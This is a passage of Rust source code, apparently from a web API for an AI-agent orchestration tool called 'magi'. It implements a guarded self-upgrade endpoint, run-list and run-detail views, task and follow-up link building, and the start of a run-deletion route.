2574/// 2. **Replace.** The new binary goes into place while this one still runs.
2575/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2576///    successor - see [`spawn_successor`] for what happens in the other
2577///    order.
2578/// 4. **Resume.** The next loop carries the parked run on rather than
2579///    competing again; see `daemon::attempt`.
2580///
2581/// Answers **202**: the reply has to reach the phone while this process can
2582/// still send one, and the phone learns the deck is back by reconnecting.
2583async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2584    let reading = daemon::read_status(&ui.home);
2585    if let Some(other) = Foreign::of(reading.as_ref()) {
2586        return Err(ApiError::conflict(format!(
2587            "the loop belongs to {}, so replacing this binary would leave \
2588             that process running an old one against the same queue. Upgrade \
2589             where it was started.",
2590            other.who()
2591        )));
2592    }
2593
2594    // A second upgrade while one is moving would replace the binary and
2595    // signal the handover again after `serve` already consumed the first
2596    // signal, leaving the process in `replaced` forever. Try-lock rather than
2597    // wait: a phone connection must not hang behind a GitHub round trip.
2598    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2599        return Err(ApiError::conflict(
2600            "another request is already preparing an upgrade",
2601        ));
2602    };
2603    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2604        return Err(ApiError::conflict(
2605            "an upgrade is already in progress (this process started one and it \
2606             has not finished or failed yet)",
2607        ));
2608    }
2609    let recorded = updater::read_progress(&ui.home);
2610    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2611        return Err(ApiError::conflict(format!(
2612            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2613             stays stuck, restart the deck; on start it settles a stale record.",
2614            p.stage.as_str(),
2615            p.from,
2616            p.to.as_deref().unwrap_or("?"),
2617        )));
2618    }
2619
2620    // The same kill switch the background check honours (`disabled_by_env`),
2621    // checked before anything else for the same reason it is read before the
2622    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2623    // contact GitHub from this process", and a button press must not
2624    // override that any more than a broken `magi.toml` may.
2625    if crate::updater::disabled_by_env() {
2626        return Ok((
2627            StatusCode::OK,
2628            Json(UpgradeView {
2629                from: env!("CARGO_PKG_VERSION").to_owned(),
2630                to: None,
2631                parked: None,
2632                detail: format!(
2633                    "Automatic updates are disabled by {}. Nothing was parked \
2634                     and nothing restarted.",
2635                    crate::updater::NO_AUTOUPDATE_ENV
2636                ),
2637            }),
2638        ));
2639    }
2640
2641    // Asked before anything is disturbed. Restarting when there is nothing
2642    // to install is not a harmless no-op: it parks the run in flight and
2643    // drops every connection to pay for an upgrade that did not happen. A
2644    // probe against a deck already on the newest build did exactly that.
2645    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2646    let from = env!("CARGO_PKG_VERSION").to_owned();
2647    let latest = match crate::updater::Checker::new(&cfg.update) {
2648        Some(checker) => checker
2649            .newer_release()
2650            .await
2651            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2652        None => None,
2653    };
2654    let Some(latest) = latest else {
2655        return Ok((
2656            StatusCode::OK,
2657            Json(UpgradeView {
2658                from,
2659                to: None,
2660                parked: None,
2661                detail: "Already on the newest release. Nothing was parked \
2662                         and nothing restarted."
2663                    .to_owned(),
2664            }),
2665        ));
2666    };
2667
2668    // Parked before anything is replaced: a successor that came up while a
2669    // run was mid-node would find a run nobody is driving.
2670    let parked = ui.park_for_upgrade()?;
2671    let detail = match &parked {
2672        // Honest about the wait. A park takes effect at the *next* node
2673        // boundary, so a run mid-implement finishes that wave first - up to
2674        // `timeout_implement`, an hour by default. Saying "restarting now"
2675        // would make the deck look wedged for the rest of it.
2676        Some(run) => format!(
2677            "Run {} is parking at its next step, which can take as long as \
2678             the step it is on - up to an hour for an implement wave. The \
2679             deck replaces itself once it parks, comes back, and the loop \
2680             carries that run on from where it stopped. Nothing is lost if \
2681             you close this.",
2682            crate::run::short_of(run)
2683        ),
2684        None => "The deck replaces itself and comes back. Nothing was in \
2685                 flight to park."
2686            .to_owned(),
2687    };
2688
2689    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2690    // poll must see a `Downloading` stage immediately, not whenever the
2691    // spawned task happens to get scheduled.
2692    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2693    progress.parked_run = parked.clone();
2694    // A failed write is logged, not returned: the loop is already parked
2695    // above, and bailing out here would leave it parked with no upgrade
2696    // spawned to hand over or resume it.
2697    updater::write_progress_logged(&ui.home, &progress);
2698
2699    let home = ui.home.clone();
2700    let looping = ui.looping();
2701    ui.upgrade_spawned
2702        .store(true, std::sync::atomic::Ordering::SeqCst);
2703    let spawned = Arc::clone(&ui.upgrade_spawned);
2704    tokio::spawn(async move {
2705        if let Err(e) = upgrade_and_restart(home.clone()).await {
2706            tracing::error!("the upgrade did not complete: {e:#}");
2707            lock_or_recover(&looping).resume_after_handover = false;
2708            // A failure of this attempt says nothing about a handover an
2709            // earlier request already has in flight; checked and written
2710            // under the progress lock.
2711            let _ = updater::fail_progress(&home, &format!("{e:#}"));
2712            // Released last: until the cleanup above is done, a retry must
2713            // not be able to park and record state this would then undo.
2714            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2715        }
2716    });
2717
2718    Ok((
2719        StatusCode::ACCEPTED,
2720        Json(UpgradeView {
2721            from,
2722            to: Some(latest.tag_name),
2723            parked,
2724            detail,
2725        }),
2726    ))
2727}
2728
2729/// Replace the binary, then ask [`serve`] to hand the address over.
2730///
2731/// Separated from the handler so the 202 is already on its way, and separated
2732/// from the spawn so the successor starts only after the listener is dropped.
2733async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2734    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2735    // hang the upgrade for as long as the process lives.
2736    crate::updater::run_self_update(true, false, true).await?;
2737    updater::log_step(&home, "binary replaced - recording the replaced stage");
2738    if let Some(mut progress) = updater::read_progress(&home) {
2739        progress.advance(updater::Stage::Replaced);
2740        updater::write_progress_logged(&home, &progress);
2741    }
2742    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2743    HANDOVER.notify_one();
2744    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2745    Ok(())
2746}
2747
2748/// One row in the run list.
2749///
2750/// The list route returns this rather than whole `RunState`s: the summary of a
2751/// run is a few hundred bytes and the state is megabytes, and the difference
2752/// is what makes the history usable on a mobile link.
2753#[derive(Debug, Serialize)]
2754struct RunSummary {
2755    id: String,
2756    short: String,
2757    status: String,
2758    done: bool,
2759    instruction: String,
2760    title: String,
2761    repo: String,
2762    repo_name: String,
2763    created_at: String,
2764    updated_at: String,
2765    candidates: usize,
2766    viable: usize,
2767    judges: usize,
2768    winner: Option<char>,
2769    reviews: usize,
2770    quota_losses: usize,
2771    event: Option<String>,
2772    /// The later attempt at the same task that replaced this one, if any.
2773    ///
2774    /// Two cards with one title is otherwise unreadable: this is what lets
2775    /// the deck say "superseded by 4043" on the older of the pair.
2776    superseded_by: Option<String>,
2777    /// Blocked on a question nobody has answered.
2778    ///
2779    /// Derived from the question store rather than stored on the run: an agent
2780    /// calling `magi ask` blocks mid-node, and writing a status from there
2781    /// would race the graph's own save of `run.json` and be overwritten at the
2782    /// next node boundary. Asking the store is always true and never races.
2783    waiting: bool,
2784    /// Whether the process recorded as driving this run can still be proven
2785    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2786    /// rather than presenting its last graph node as still in flight.
2787    live: crate::run::Liveness,
2788    /// The land loop's last look at the pull request, when there is one.
2789    pr: Option<crate::run::PrRecord>,
2790    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2791    /// design — never picked up by the PR-polling merge watcher, unlike an
2792    /// ordinary `Ready` that may still be a live landing candidate. See
2793    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2794    /// re-deriving the same check from `status` and `merge.mode` itself.
2795    unmerged_by_design: bool,
2796    /// Derived presentation status matching [`RunDetailView::display_status`].
2797    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
2798    #[serde(default)]
2799    display_status: String,
2800    /// Who started the run, as the one label every surface shares; the
2801    /// "origin unknown" wording when the record predates origins.
2802    origin_label: String,
2803}
2804
2805impl RunSummary {
2806    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2807        Self {
2808            id: state.id.clone(),
2809            short: state.short().to_owned(),
2810            status: status_word(state.status),
2811            done: state.status.done(),
2812            unmerged_by_design: state.unmerged_by_design(),
2813            display_status: run_display_status(state, waiting, live),
2814            instruction: state.instruction.clone(),
2815            title: title_from(&state.instruction, TITLE_MAX),
2816            repo: state.repo.display().to_string(),
2817            repo_name: state
2818                .repo
2819                .file_name()
2820                .map(|n| n.to_string_lossy().into_owned())
2821                .unwrap_or_default(),
2822            created_at: state.created_at.to_string(),
2823            updated_at: state.updated_at.to_string(),
2824            candidates: state.candidates.len(),
2825            viable: state.viable().len(),
2826            judges: state.config.graph.judges,
2827            winner: state.winner().map(|c| c.label),
2828            reviews: state.reviews.len(),
2829            quota_losses: state.quota.len(),
2830            event: state.events.last().map(|e| e.message.clone()),
2831            waiting,
2832            live,
2833            // Filled in by the list route, which is the only place that can
2834            // see a task's other attempts.
2835            superseded_by: None,
2836            pr: state.pr.clone(),
2837            origin_label: crate::run::origin_label(state.origin.as_ref()),
2838        }
2839    }
2840}
2841
2842/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2843/// the same string `serde` writes for the status inside a full run.
2844fn status_word(status: RunStatus) -> String {
2845    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2846    // was a third way of naming the same statuses, and one that changed
2847    // silently with a derive.
2848    status.as_str().to_owned()
2849}
2850
2851/// The presentation status for a run, unified across summaries and details.
2852///
2853/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
2854/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
2855/// runs awaiting operator answers.
2856fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2857    if waiting {
2858        return "waiting".to_owned();
2859    }
2860    if state.unmerged_by_design() {
2861        return "unmerged".to_owned();
2862    }
2863    if !state.status.done() && live == crate::run::Liveness::Dead {
2864        // The driver claim clears this flag before saving another event.
2865        // A previous park event can therefore outlive a resumed driver.
2866        if state.parked {
2867            return "parked".to_owned();
2868        }
2869        return "stale".to_owned();
2870    }
2871    status_word(state.status)
2872}
2873
2874/// `?limit=`, clamped by the handler.
2875#[derive(Debug, Deserialize)]
2876struct ListQuery {
2877    #[serde(default)]
2878    limit: Option<usize>,
2879    /// Exact ids only; an empty value requests no rows (except queue blockers).
2880    ids: Option<String>,
2881}
2882
2883impl ListQuery {
2884    fn contains(&self, id: &str) -> bool {
2885        self.ids
2886            .as_ref()
2887            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2888    }
2889}
2890
2891async fn runs_list(
2892    State(ui): State<Arc<Ui>>,
2893    Query(q): Query<ListQuery>,
2894) -> ApiResult<Json<Vec<RunSummary>>> {
2895    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2896    blocking(move || {
2897        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2898        let states = run_ids(&ui.runs)
2899            .into_iter()
2900            // A run whose state cannot be read is skipped, not fatal: a run
2901            // killed mid-write must not blank the history of every other one.
2902            // The detail route still explains it, which is where an operator
2903            // asking "what happened to that run" ends up.
2904            .filter_map(|id| read_run(&ui.runs, &id).ok())
2905            .take(limit)
2906            .filter(|run| q.contains(&run.id));
2907        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2908        let summaries = summarize(
2909            states,
2910            &open_runs,
2911            &claimed,
2912            &superseded,
2913            |p| probe.borrow_mut().status(p),
2914            |p| probe.borrow_mut().started_at(p),
2915        );
2916        Ok(Json(summaries))
2917    })
2918    .await
2919}
2920
2921/// Everything the per-run rows share, read once: runs with an open question,
2922/// runs a live daemon claims, and the superseded map. Asking per run re-read
2923/// every question file and the daemon status file for each of hundreds of
2924/// runs, and spawned a process probe per run on Windows.
2925fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2926    let open_runs: HashSet<String> = ui
2927        .questions
2928        .list()
2929        .into_iter()
2930        .filter(|q| q.status.open())
2931        .map(|q| q.run)
2932        .collect();
2933    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2934        .into_iter()
2935        .map(|c| c.run)
2936        .collect();
2937    (open_runs, claimed, ui.queue.superseded())
2938}
2939
2940/// The rows of the run list, given everything that is shared between them.
2941///
2942/// Pure over its inputs so a test can count how often the process queries are
2943/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2944/// takes, called at most once per run.
2945fn summarize<I, S, D>(
2946    states: I,
2947    open_runs: &HashSet<String>,
2948    claimed: &HashSet<String>,
2949    superseded: &HashMap<String, String>,
2950    mut status_q: S,
2951    mut identity_q: D,
2952) -> Vec<RunSummary>
2953where
2954    I: IntoIterator<Item = RunState>,
2955    S: FnMut(u32) -> Option<bool>,
2956    D: FnMut(u32) -> Option<String>,
2957{
2958    states
2959        .into_iter()
2960        .map(|state| {
2961            let waiting = open_runs.contains(&state.id);
2962            let live =
2963                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2964            let mut row = RunSummary::of(&state, waiting, live);
2965            row.superseded_by = state
2966                .pr_taken_over_by
2967                .as_ref()
2968                .or_else(|| superseded.get(&state.id))
2969                .map(String::as_str)
2970                .map(crate::run::short_of)
2971                .map(str::to_owned);
2972            row
2973        })
2974        .collect()
2975}
2976
2977/// A run as the detail route hands it to the phone.
2978///
2979/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2980/// the instruction as markdown, and the raw `instruction` field this struct
2981/// still carries (unchanged) is what a client wanting the exact bytes reads
2982/// instead.
2983#[derive(Debug, Serialize)]
2984struct RunDetailView {
2985    #[serde(flatten)]
2986    state: RunState,
2987    instruction_md: Vec<md::Node>,
2988    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
2989    /// mirror the records they come from, index for index; the raw strings
2990    /// stay in `state` and decide whether a block is shown at all.
2991    #[serde(flatten)]
2992    prose_md: RunProseMd,
2993    /// Whether a process is actually still driving this run: `"live"`,
2994    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2995    ///
2996    /// `state.active` (flattened in above) is only ever cleared by the
2997    /// process that populated it; a killed one leaves its last wave's
2998    /// entries behind. Carrying this alongside is what lets the phone rail
2999    /// tell "this seat is still answering" from "this seat was still
3000    /// answering when whatever was driving this run died" without a second
3001    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3002    /// proof of either. A string rather than a bool on purpose: a daemon
3003    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3004    /// and neither proven is `"unknown"` — folding that third case into
3005    /// either end of a bool is exactly the wrong call for a phone screen an
3006    /// operator uses to decide whether to wait or to act.
3007    live: crate::run::Liveness,
3008    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3009    /// alongside the flattened `state` rather than inside it, since
3010    /// `RunState` has no business knowing which of its own methods a caller
3011    /// wants serialized.
3012    unmerged_by_design: bool,
3013    /// Same field and meaning as [`RunSummary::waiting`].
3014    #[serde(default)]
3015    waiting: bool,
3016    /// Same derived presentation status as [`RunSummary::display_status`].
3017    #[serde(default)]
3018    display_status: String,
3019    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3020    /// terminal. The client's `landView` keys on it, and the flattened state
3021    /// has no such field, so without it a finished run's stale `open` PR
3022    /// would be painted as live on the detail page.
3023    done: bool,
3024    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3025    /// route fills it from [`Queue::superseded`], the detail route from
3026    /// [`Queue::superseded_by`], and both read the same underlying task
3027    /// order. Without this the detail page could only ever show a red
3028    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3029    /// with nothing anywhere saying so — an operator opening it had no way
3030    /// to tell "this is done elsewhere" from "this still needs a retry".
3031    superseded_by: Option<String>,
3032    /// The task's current attempt, when this run is an older one — resolved
3033    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3034    /// the client to derive.
3035    ///
3036    /// Three things a client cannot safely do on its own drove this onto the
3037    /// server: it has to name the chain's *current head*, not just the next
3038    /// attempt (`superseded_by` above), because an intermediate retry in a
3039    /// longer chain can itself still be unresolved; it has to resolve to a
3040    /// real id rather than a short id a client would have to guess a full id
3041    /// from, which is ambiguous the moment two runs share a suffix; and it
3042    /// has to read that head's own status directly, because whether a run
3043    /// list a client happens to have cached even contains that attempt
3044    /// depends on a page limit this route knows nothing about.
3045    latest_attempt: Option<LatestAttempt>,
3046    /// The queue task this run belongs to, so the detail page can link back
3047    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3048    task: Option<TaskRef>,
3049    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3050    /// run recorded before origins existed. `origin` itself (flattened in
3051    /// with `state`) is `null` in that case.
3052    origin_label: String,
3053}
3054
3055/// A task named from a run's detail page.
3056#[derive(Debug, Serialize)]
3057struct TaskRef {
3058    id: String,
3059    short: String,
3060    title: String,
3061    /// [`Source::label`], e.g. `chat@a1b2`.
3062    source_label: String,
3063    /// Where the task came from, when that place has a page; see [`source_link`].
3064    source_link: Option<SourceLink>,
3065    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3066    status: &'static str,
3067    attempts: usize,
3068    max_attempts: usize,
3069    /// This run is the last entry of the task's run list.
3070    is_latest: bool,
3071    /// The task's newest run, when it is not this one.
3072    latest: Option<RunBrief>,
3073    /// The run that finished a `done` task (merged, or already in the base).
3074    finished_by: Option<RunBrief>,
3075    /// The task is `done` but no run on record finished it: closed by hand.
3076    closed_by_hand: bool,
3077}
3078
3079/// The page that filed a task, as the UI links to it.
3080#[derive(Debug, PartialEq, Eq, Serialize)]
3081struct SourceLink {
3082    /// `chat` (a conversation) or `run` (a run's node).
3083    kind: &'static str,
3084    /// The full id, never the short one in the label.
3085    id: String,
3086    /// The hash route that opens it.
3087    href: String,
3088}
3089
3090/// Percent-encode everything outside the URL-unreserved set.
3091fn encode_segment(raw: &str) -> String {
3092    let mut out = String::with_capacity(raw.len());
3093    for b in raw.bytes() {
3094        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3095            out.push(b as char);
3096        } else {
3097            out.push_str(&format!("%{b:02X}"));
3098        }
3099    }
3100    out
3101}
3102
3103/// The one place that decides where a task's source links to. A chat
3104/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3105/// a person or an imported issue has no page, so no link.
3106fn source_link(source: &Source) -> Option<SourceLink> {
3107    let Source::Agent { run, node } = source else {
3108        return None;
3109    };
3110    let (kind, route) = if node == crate::queue::CHAT_NODE {
3111        ("chat", "chat")
3112    } else {
3113        ("run", "runs")
3114    };
3115    Some(SourceLink {
3116        kind,
3117        id: run.clone(),
3118        href: format!("#/{route}/{}", encode_segment(run)),
3119    })
3120}
3121
3122/// The parent task of a follow-up, when its file can still be read.
3123#[derive(Debug, Serialize, PartialEq)]
3124struct FollowUpParent {
3125    id: String,
3126    short: String,
3127    title: String,
3128    /// The parent's own status (`TaskStatus::as_str`).
3129    status: &'static str,
3130    href: String,
3131}
3132
3133/// The merged run a follow-up was filed from.
3134#[derive(Debug, Serialize, PartialEq)]
3135struct FollowUpRun {
3136    id: String,
3137    short: String,
3138    /// `None` when the run's record cannot be read.
3139    status: Option<&'static str>,
3140    /// `None` unless the record could be read: never a dead link.
3141    href: Option<String>,
3142}
3143
3144/// Where a follow-up task came from, resolved once per task page so the flow
3145/// chart and the detail block cannot disagree. See [`followup_origin`].
3146#[derive(Debug, Serialize, PartialEq)]
3147struct FollowUpOrigin {
3148    /// Present only when `origin_task` is set and that task still exists.
3149    parent: Option<FollowUpParent>,
3150    run: FollowUpRun,
3151    /// The merged pull request, verbatim. Not an href: the client passes it
3152    /// through `forgeUrl()` and renders text when that refuses it (the one
3153    /// exception to "the href rule is Rust's alone", since a forge URL is
3154    /// data from a record, not a route).
3155    pr: String,
3156    findings: Vec<String>,
3157    generation: u32,
3158}
3159
3160/// The one place that decides what a follow-up links to. A parent that cannot
3161/// be read (gone, or an id that names nothing) is `None`, never an error.
3162fn followup_origin(
3163    fu: &crate::queue::FollowUp,
3164    task: impl Fn(&str) -> Option<Task>,
3165    run: impl Fn(&str) -> Option<RunState>,
3166) -> FollowUpOrigin {
3167    let parent = fu
3168        .origin_task
3169        .as_deref()
3170        .and_then(task)
3171        .map(|t| FollowUpParent {
3172            short: t.short().to_owned(),
3173            href: format!("#/tasks/{}", encode_segment(&t.id)),
3174            status: t.status.as_str(),
3175            title: t.title,
3176            id: t.id,
3177        });
3178    let state = run(&fu.run);
3179    FollowUpOrigin {
3180        parent,
3181        run: FollowUpRun {
3182            short: run::short_of(&fu.run).to_owned(),
3183            status: state.as_ref().map(|s| s.status.as_str()),
3184            href: state
3185                .is_some()
3186                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3187            id: fu.run.clone(),
3188        },
3189        pr: fu.pr.clone(),
3190        findings: fu.findings.clone(),
3191        generation: fu.generation,
3192    }
3193}
3194
3195/// Another run of the same task, as named from a run's detail page.
3196#[derive(Debug, Serialize)]
3197struct RunBrief {
3198    id: String,
3199    short: String,
3200    /// `None` when the run's record cannot be read.
3201    status: Option<&'static str>,
3202    /// The task-page wording for how that pass ended.
3203    outcome: String,
3204}
3205
3206/// The task's overall outcome as seen from `this_run`'s page, classified with
3207/// the same exits the task page's flowchart uses.
3208fn task_outcome(
3209    task: &Task,
3210    this_run: &str,
3211    max_attempts: usize,
3212    read: impl Fn(&str) -> Option<RunState>,
3213) -> TaskRef {
3214    let history = task_history(task, read);
3215    let brief = |h: &TaskRunView| RunBrief {
3216        id: h.id.clone(),
3217        short: h.short.clone(),
3218        status: h.status,
3219        outcome: h.exit.edge_label(h.status),
3220    };
3221    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3222    let latest = if is_latest {
3223        None
3224    } else {
3225        history.last().map(brief)
3226    };
3227    let done = task.status == TaskStatus::Done;
3228    let finished_by = done
3229        .then(|| {
3230            history
3231                .iter()
3232                .rev()
3233                .find(|h| {
3234                    matches!(
3235                        h.exit,
3236                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3237                    )
3238                })
3239                .map(brief)
3240        })
3241        .flatten();
3242    TaskRef {
3243        short: task.short().to_owned(),
3244        title: task.title.clone(),
3245        id: task.id.clone(),
3246        source_label: task.source.label(),
3247        source_link: source_link(&task.source),
3248        status: task.status.as_str(),
3249        attempts: task.attempts,
3250        max_attempts,
3251        is_latest,
3252        latest,
3253        closed_by_hand: done && finished_by.is_none(),
3254        finished_by,
3255    }
3256}
3257
3258/// The task's current attempt, as seen from an older one's detail page.
3259#[derive(Debug, Serialize)]
3260struct LatestAttempt {
3261    id: String,
3262    short: String,
3263    /// Whether this attempt itself settled with a result nobody needs to
3264    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3265    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3266    /// unconfirmed claim that no change was needed, which is exactly why it
3267    /// settles the task through `Held` rather than `Done` and still waits on
3268    /// a human to check the evidence; showing an older run as "finished
3269    /// elsewhere" on the strength of an unverified claim would bury the
3270    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3271    /// in-flight status are excluded because they are exactly the
3272    /// unresolved states this field exists to tell apart from a real finish.
3273    resolved: bool,
3274    /// The attempt's own recorded status, so the page can say where it
3275    /// stands while it is not resolved yet.
3276    status: RunStatus,
3277    /// Whether that status is terminal (nothing is still running it).
3278    done: bool,
3279}
3280
3281/// Markdown for the free-text prose of a run, parallel to `RunState`.
3282#[derive(Debug, Default, Serialize)]
3283struct RunProseMd {
3284    /// `None` when the run has no design deliberation.
3285    advice_md: Option<AdviceMd>,
3286    /// One entry per candidate: the summary.
3287    candidate_summaries_md: Vec<Vec<md::Node>>,
3288    /// One entry per review round, in `reviews` order.
3289    reviews_md: Vec<RoundMd>,
3290}
3291
3292#[derive(Debug, Default, Serialize)]
3293struct AdviceMd {
3294    synthesis: Vec<md::Node>,
3295    /// One per record; empty for a seat with no proposal.
3296    approaches: Vec<Vec<md::Node>>,
3297}
3298
3299#[derive(Debug, Default, Serialize)]
3300struct RoundMd {
3301    /// One per reviewer record.
3302    reviewers: Vec<ReviewerMd>,
3303    /// One per `reconsideration` entry: the reason.
3304    reconsideration: Vec<Vec<md::Node>>,
3305    fix: Option<FixMd>,
3306}
3307
3308#[derive(Debug, Default, Serialize)]
3309struct ReviewerMd {
3310    summary: Vec<md::Node>,
3311    /// One per finding, in recorded order (not the display order).
3312    findings: Vec<Vec<md::Node>>,
3313}
3314
3315#[derive(Debug, Default, Serialize)]
3316struct FixMd {
3317    notes: Vec<md::Node>,
3318    /// One per rejection: the argument.
3319    rejected: Vec<Vec<md::Node>>,
3320}
3321
3322/// Parse a run's agent-written prose; a pure function of the state.
3323fn run_prose_md(state: &RunState) -> RunProseMd {
3324    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3325    RunProseMd {
3326        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3327            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3328            approaches: a
3329                .records
3330                .iter()
3331                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3332                .collect(),
3333        }),
3334        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3335        reviews_md: state
3336            .reviews
3337            .iter()
3338            .map(|round| RoundMd {
3339                reviewers: round
3340                    .reviews
3341                    .iter()
3342                    .map(|rec| ReviewerMd {
3343                        summary: nodes(&rec.summary),
3344                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3345                    })
3346                    .collect(),
3347                reconsideration: round
3348                    .reconsideration
3349                    .iter()
3350                    .map(|rv| nodes(&rv.reason))
3351                    .collect(),
3352                fix: round.fix.as_ref().map(|fix| FixMd {
3353                    notes: nodes(&fix.notes),
3354                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3355                }),
3356            })
3357            .collect(),
3358    }
3359}
3360
3361impl RunDetailView {
3362    fn of(
3363        state: RunState,
3364        waiting: bool,
3365        live: crate::run::Liveness,
3366        superseded_by: Option<String>,
3367        latest_attempt: Option<LatestAttempt>,
3368        task: Option<TaskRef>,
3369    ) -> Self {
3370        let display_status = run_display_status(&state, waiting, live);
3371        Self {
3372            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3373            prose_md: run_prose_md(&state),
3374            origin_label: crate::run::origin_label(state.origin.as_ref()),
3375            live,
3376            unmerged_by_design: state.unmerged_by_design(),
3377            waiting,
3378            display_status,
3379            done: state.status.done(),
3380            superseded_by,
3381            latest_attempt,
3382            task,
3383            state,
3384        }
3385    }
3386}
3387
3388async fn run_detail(
3389    State(ui): State<Arc<Ui>>,
3390    Path(id): Path<String>,
3391) -> ApiResult<Json<RunDetailView>> {
3392    blocking(move || {
3393        let id = resolve_run(&ui.runs, &id)?;
3394        let state = read_run(&ui.runs, &id)?;
3395        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3396        let live = state.liveness(daemon_claims);
3397        let waiting = !ui.questions.open_for(&id).is_empty();
3398        let superseded_by = state
3399            .pr_taken_over_by
3400            .clone()
3401            .or_else(|| ui.queue.superseded_by(&id))
3402            .as_deref()
3403            .map(crate::run::short_of)
3404            .map(str::to_owned);
3405        // Best-effort: an unreadable head (mid-write, or deleted) just means
3406        // this run's own status stands on its own, same as no later attempt
3407        // existing at all.
3408        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3409            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3410                short: head.short().to_owned(),
3411                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3412                status: head.status,
3413                done: head.status.done(),
3414                id: head.id,
3415            })
3416        });
3417        let max_attempts = daemon::Opts::default().max_attempts;
3418        let task = ui
3419            .queue
3420            .list()
3421            .into_iter()
3422            .find(|t| t.runs.contains(&id))
3423            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3424        Ok(Json(RunDetailView::of(
3425            state,
3426            waiting,
3427            live,
3428            superseded_by,
3429            latest_attempt,
3430            task,
3431        )))
3432    })
3433    .await
3434}
3435
3436/// `DELETE /api/runs/{id}`.
3437///
3438/// Remove a finished, folded run directory along with its artifacts.
3439/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3440/// deleted. This never touches git worktrees or branches - except for a run
3441/// whose state this build cannot read at all, where there is no candidate
3442/// list to check and the wholesale removal `magi fold` already uses for that
3443/// case is the only meaningful "delete".
3444async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3445    let (id, unreadable) = {
3446        let ui = Arc::clone(&ui);
3447        blocking(move || {
3448            let id = resolve_run(&ui.runs, &id)?;
3449            match read_run(&ui.runs, &id) {
3450                Ok(state) => {
3451                    let in_flight =
3452                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3453                    state
3454                        .ensure_can_delete(in_flight)
3455                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3456                    let dir = ui.runs.join(&id);
3457                    std::fs::remove_dir_all(&dir)
3458                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3459                    Ok((id, false))
3460                }
3461                Err(_) => {
3462                    // Unreadable: there is no candidate list to guard on, so
3463                    // a live daemon's claim is the only thing left to check -
3464                    // the same rule `run_fold` applies for the same reason.
